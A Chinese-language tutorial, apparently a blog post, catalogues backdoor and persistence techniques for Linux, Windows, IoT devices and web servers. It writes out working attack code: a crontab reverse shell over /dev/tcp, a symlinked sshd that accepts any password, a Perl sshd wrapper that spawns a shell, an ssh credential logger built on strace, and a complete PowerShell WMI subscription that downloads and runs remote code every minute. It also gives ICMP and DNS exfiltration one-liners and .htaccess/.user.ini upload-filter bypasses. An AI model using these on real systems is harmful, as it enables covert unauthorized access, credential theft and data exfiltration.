Backdoor 基础

概述

没有最好的后门,只有最合适的后门。

在整体架构上,一个优秀的后门应该充分考虑其功能、触发方式和通信方式等方面。针对不同的方面,杀软也会根据其特征进行处理。为了进一步的持续性控制以及后渗透,后门越显复杂化。从后门的发展史中可看出,这是一场攻与防的持续性较量,简单来说,渗透测试拿下服务器后,怎么能不留后门呢。当然,这是玩笑话。

分类

  • 终端平台:Linux型、Windows型和IOT型;
    • Linux:配置型、logger型和rookit型;
    • Windows:Registry型、Schtasks型和WMI型;
  • 通信方式:http/https型、irc型、dns型、icmp型等。
  • 网站应用:模块扩展型、后端语言型和配置文件型。

终端平台

Linux

配置型

这里的配置型是指借助Linux系统本身的一些特性来完成后门布置功能。

crontab

运维经常会用到该命令,这相当于windows的计划任务,规定时间来执行指定命令。这通常与反弹shell一起运用。

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$ (crontab -l;printf "*/5 * * * * exec9<> /dev/tcp/localhost/8080&&exec0<&9&&exec1>&92>&1&&/bin/bash --noprofile –I;\rno crontab for `whoami`%100c\n")|crontab -

ssh公钥免密

将客户端生成的ssh公钥写到所控服务器的~/.ssh/authorized_keys中,然后客户端利用私钥完成认证即可登录。

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$ ssh-keygen -t rsa
$ ls
id_rsa id_rsa.pub

把id_rsa.pub写入服务端的authorized_keys中,并修改好相应权限。

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$ chmod 600 ~/.ssh/authorized_keys
$ chmod 700 ~/.ssh

这种后门的特点是简单易用,但在实战中会被服务器的配置环境所限制,以及容易被发现。

软连接后门

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$ ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

经典后门。直接对sshd建立软连接,之后用任意密码登录即可。

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ssh root@x.x.x.x -p 5555

但这隐蔽性很弱,一般的rookit hunter这类的防护脚本可扫描到。

SSH Server wrapper

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$ cd /usr/sbin/
$ mv sshd ../bin
$ vim sshd
#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;
```
赋予权限chmod 755 sshd,最后正向连接:
``` bash
socat STDIO TCP4:target_ip:22,sourceport=19526

其中,\x00\x00LF是19526的大端形式,便于传输和处理。
原理是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。隐蔽性比刚刚介绍的软连接后门要好。

logger型

alias

这种通过替换命令来使得evil效果最大化的用法,一般是通过追踪ssh的系统调用比如read、write等来记录下ssh的操作。

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alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

当然,这只是alias后门的一种用法,可根据具体情况举一反三。

pam

pam是一种认证机制,它可帮助管理员快速方便地配置认证方式,并且无需更改服务程序。这种后门主要是通过pam_unix_auth.c打补丁的方式潜入到正常的pam模块中,以此来记录管理员的帐号密码。搭建方式见下连接。

openssh后门

同理,也是下载对应的恶意补丁包,来记录管理员的帐号密码。但该后门与pam后门存在很大的问题是编译环境,有时在实战中会出现各种各样的问题。搭建方式见下连接

rookit

应用级rootkit

应用级rookit的主要特点是通过批量替换系统命令来实现隐藏,如替换ls、ps和netstat等命令来隐藏文件、进程和网络连接等,有时会有守护进程来保证后门的稳定性。推荐两款常用的木马:mafix和brookit。如果想要学习linux类木马,推荐阅读orange的tsh源码,基本上涵盖了常规木马应具有的特点。

内核级rookit

隐藏性通常要借助对linux系统调用的截获来达到目的,并且难以查杀,难以清除,危害巨大。
由于未找到相应例子,遂不做具体分析。

windows

windows后门博大精深,实在不好分类,因为后门常需持久化潜在运行,受到powersploit中persistence脚本的启发,因此采取使用后门的触发方式进行分类,分为registry型、schtasks型和WMI型。

registry型

在一般用户权限下,通常是将要执行的后门程序或脚本路径填写到如下注册表的键值中HKCU:Software\Microsoft\Windows\CurrentVersion\Run,键名任意。普通权限即可运行。

不过这老生长谈的后门早已被用烂,360杀软会弹框提示。

schtasks型

该类型后门可分为管理员权限和普通用户权限,管理员权限可以设置更多的计划任务,比如重启后运行等。

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schtasks /Create /SC HOURLY /TN Updater /TR $CommandLine

这里比较大的限制是策略问题,只能按照规定的时间来执行相关程序或命令。通常来讲,持久性的APT对于这点要求较高。

WMI型

Defcon23的演讲后,WMI型后门的热度在国外迅速蔓延。(强烈推荐使用该类型后门)
它是只能由管理员权限运行的后门,一般是用powershell编写。目前以这一触发方式运行的后门是不会引起杀软任何反映的。具体原理可到drops去了解。

该类型后门主要用到了WMI展现出来的两个特征:无文件和无进程。

将core code加密存储于WMI类的property中,而该位置在复杂的CIM 数据库中,这达到了所谓的无文件;将filter和consumer异步绑定在一起,当规定的filter满足条件时,比如间隔1min,那么系统会自动启动一进程(名称为powershell)去执行consumer(后门程序)中的内容,当执行完成后,进程会消失,持续的时间根据后门运行情况而定,一般是几秒,这达到了所谓的无进程。

上述三类的详情代码请参考powersploit现阶段无论再复杂的WMI后门都是围绕上面两点而展开的,最核心的是后者。

下面是比较典型的代码,功能为每分钟执行下载并执行

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$Name = 'test'
# build the filter
$TimeExecTime = 60
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN
$TimeExecTime WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
$NS = "root\subscription"
$FilterArgs = @{
Name=$Name
EventNameSpace="root\cimv2"
QueryLanguage="WQL"
Query=$Query
}
$Filter = Set-WmiInstance -Namespace $NS -Class "__EventFilter" -Arguments $FilterArgs
# build the consumer
$ConsumerName = $Name
$command = "`$wc = New-Object System.Net.Webclient; `$wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) Like Gecko'); `$wc.proxy = [System.Net.WebRequest]::DefaultWebProxy; `$wc.proxy.credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX (`$wc.DownloadString('$URL'))"
#$encCommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))
$commandLine = "C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -NoP -NonI -w hidden -Command $command"
$ConsumerArgs = @{
Name=$ConsumerName
CommandLineTemplate=$commandLine
}
$consumer = Set-WmiInstance -Class "CommandLineEventConsumer" -Namespace $NS -Arguments $ConsumerArgs
#Bind filter and consumer
$Args = @{
Filter = $Filter
Consumer = $consumer
}
Set-WmiInstance -Class "__FilterToConsumerBinding" -Namespace "root\subscription" -Arguments $Args

IOT

物联网的脆弱性因Mirai恶意软件的肆用而不断凸显,特别是弱口令的泛滥、致使了大批物联网设备沦陷。其中造成的危害不言而喻,不但可以耗用其资源,更可怕的是可能利用设备本身的功能造成意料不到的伤害。如果单单从技术的角度上讲,Mirai确实是一款非常优秀的恶意软件。在这里,我们只讨论它们的后门特性:

进程

对于运行时进程的处理,Mirai采用的是进程名随机,也算是为了不被特征提取所采取的一个措施。

http://p9.qhimg.com/t0147848fcfcfd59340.png

防重启

因为IOT设备的特殊性,无法将程序写进设备中,只能驻留在内存里,所以需不能使设备重启。在固件里,有一进程会不断向watchdog进程发送一字节数据,如果没有该操作,设备则会重启。Mirai采取的是关闭watchdog的功能。

http://p4.qhimg.com/t01e96433fc3208ba2b.png

通信协议

该过程可以分为
上线过程:bot发送\x00\x00\x00\x01,得到回应后再发送\x00;
心跳过程:bot间隔60s发送\x00\x00cnc,cnc回应\x00\x00;
解析执行:cnc对bot发出的指令里采取了一定的格式。
[target_num] 02 [IP] 08 08 08 08 [MASK] 20 [IP] 07 07 07 07 [MASK] 20
…..

IOT设备后门的重点往往是在其功能的实现上,而不是在后门的persistence上,因为IOT设备一旦被突破,几乎入无人之境,恶意软件会合理地最大化利用其中的资源。

通信方式类

后门的网络通信行为同样是防火墙的侦查重点,在复杂的实际环境下,怎么把被控端的数据回传成为了一个难点。对于不同的防火墙,其使用的策略也有些不同。

http/https型

目前可以说这是最流行的通信方式,可借用第三方的api来实现回连功能,从很大程度上讲解决了很多困难。像在github star比较高的,如twittor、gcat等,从代码上看不会有太大问题,主要是完成了对相应第三方应用的api调用以及功能的实现,但是这种第三方选取并不合理,它会造成溯源十分容易。先不论gmail的实名制,问题的关键在于被控端只能共享一个或几个gmail帐号,当其中一个被控端被追查后,其它的被控端很可能就处于危险状态。

根据经验来看,如果真要借助第三方的网站来完成通信,比较常用的是论坛、网盘等,可以将被控端各自的权限分离开来。在很多APT报告中,我们可看到dropbox及reddit快成为远控木马的重灾区,官方当然也出台了一些措施来制止这种行为。

这部分木马可参考nishang框架中的HTTP-Backdoor脚本。

总的来讲,这种适合于比较小型的,不适合于大型僵尸网络。在国内这种类型的网站基本需要实名制,以官方的力量来追踪是十分容易的。危害小则被封号,大则查水表。

目前对于追踪的问题主流采取的是DGA(Domain Generation Algorithm),自建服务器。

攻击者和被控段以同样的算法和种子算出一系列域名,种子的约定可以是日期,可以是天气等。攻击者注册其中的一个或多个域名。这样的好处是反汇编难度大,算法不易被破解。即使被破解了,安全人员还需抢在攻击者之前及时注册生成的大量域名,费时费钱费力。

更多详细的可参考《C&C控制服务的设计和侦测方法综述》

irc型

irc的木马优点很多,比如管理方便,便于远控协调分工,channel隐藏,追溯难。
缺点很明显,国内只有较少的用户使用irc,用户防火墙可能会拦截该流量,具体情况根据地区而定。
关于这部分irc木马的中文实例资料可参考

icmp型

ICMP通信协议中可看到在最后空余了很大的data段,名为数据缓冲区,可填充60000多字节。因此,可将被控端得到的数据放入其中:

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$cmd = ls;
$timeout = 1000;
$server_ip = 'xxxx';
(New-Object System.Net.NetworkInformation.Ping).Send($server_ip, $timeout, $cmd)

在server_ip上抓包可看到返回结果。

dns型

DNS原理在这不过多展开,这种类型的逃逸方法一般是用自己申请的域名,将NS记录指向搭建的NS服务器上,使用DNS泛解析,把用户所查询关于该域名的信息记录下来。

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$ ping -c 2 `whoami`.xxxx.ceye.io
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$ nslookup -querytype=txt $data.ns.lynahex.com 8.8.8.8

不过使用如上的常规方法,似乎会对data长度有限制。
自建NS服务器的源码可看NoEye(题外话:有的厂商从数据库中查询指定域名的txt记录时并未过滤,可能会有sql注入。:-D。)

该类流行的木马可参考dnscat2,它涉及了更底层的包构造,即使没有域名,也可使用该协议进行通信。

具体用法

总的来说,这类后门依赖于上层协议,符合人们常用协议的范围,同时,攻击者也在探寻新兴的协议来exfiltrate。

网站类

传统的后门中自然少不了该类型,从用户发出数据请求开始到最终落入网站的数据库中,经过服务端的每一环节都有可能成为攻击者利用的地方。

模块扩展型

中间件之所以能被利用,是因为它们的可扩展性,当布置完模块或插件时,中间件无法判断开发者的行为是否为恶意。

apache

将后门增加到apache模块目录中,攻击者只需要简单地发起一个请求就可拿到root权限的shell,并且没有任何日志记录。最出名的莫过于mod_rootme

具体操作可参考

ginx

nginx占有内存少,并发能力强,受到很多用户的喜爱。它可很方便地添加和升级模块,同理,pwnginx作为经典的后门也是应用了该原理,程序员只需将正常的功能稍微改动,就能达到另一面的效果。

iis

iis后门是用了iis本身的机制,当在http头里增加一字段即可触发后门,并执行发过来的命令。
具体原理和操作可参考
中间件的后门大多是以类似上述原理为基础的。

PHP扩展库

同理,将编译好的so文件添加到php.ini的extension中。当模块被初始化时,会去加载执行我们的代码。当发送特定参数的字符串过去时,即可触发后门。

后端语言型

这类后门在新型框架和语言的兴起下,影响力有些稍稍减弱。主要原因是现主流框架都采取路由的方式来映射url,有时攻击者即使上传完后门,也有可能无法找到对应的路由映射方式。站在不同人群的角度来看后门也别有一番风情。下面分为开发者后门和攻击者使用的后门,其中针对攻击者的后门是以PHP为例。

开发者后门

有时开发者也会在代码中留下后门,比如x博CMS。它通常是一些奇怪的代码,稍微动态调试下可分析出后门,这是属于比较低级的,更高级的的后门是逻辑和理论相关的漏洞,在defcon23上进行的“卑鄙密码竞赛”,曾经wooyun有介绍,有的参赛者将密码学的知识和PHP特性相结合,并以一定的逻辑性代码迷惑大多数人。虽然不难,但能想出这点子实在难能可贵。更为有趣的是,即使被发现了也可当作是个漏洞处理,舆论不会偏向于说这是开发者留下的后门。

另外一方面,后门不一定直接出现在产品中,可能也会存在库中或编译好的文件里,比如nodesjs仓库或pyc后门。

PHP后门

随着时代的变迁,木马的重心也随着转移。前10年里,PHP马看重的是功能,而如今则是免杀以及绕waf的能力,具体来说,指的是木马静态文件的免杀和通信流量的无特征。

在实战中,主要采取的方法为混淆编码、字符替换等,还可利用解释性语言的特性以及其回调机制。对于通信流量方面,一般采取对称加密,如DES,而不是编码等。比较成熟的后门是weevely,也可根据需求将菜刀完善,把流量加密。

配置文件型

该类型后门主要是通过阅读相关官方文档来挖掘发现,主要应用场景是bypass上传文件的黑名单。
以PHP语言为例:

.htaccess后门

在.htaccess中添加php解析的新后缀并上传,之后上传该后缀的木马即可。

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AddType application/x-httpd-php .abc

.user.ini后门

.user.ini相当于用户自定义的php.ini。

上传.user.ini,其中的内容为:

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auto_prepend_file=xx.gif

可以让该目录下的所有php文件自动包含xx.gif,我们直接上传xx.gif作为木马。不过较大的限制是该目录下必须要有正常的php文件才能使得xx.gif中的代码执行。

总结

当然,上面的这些都是大牛们总结的,我只是个搬运工。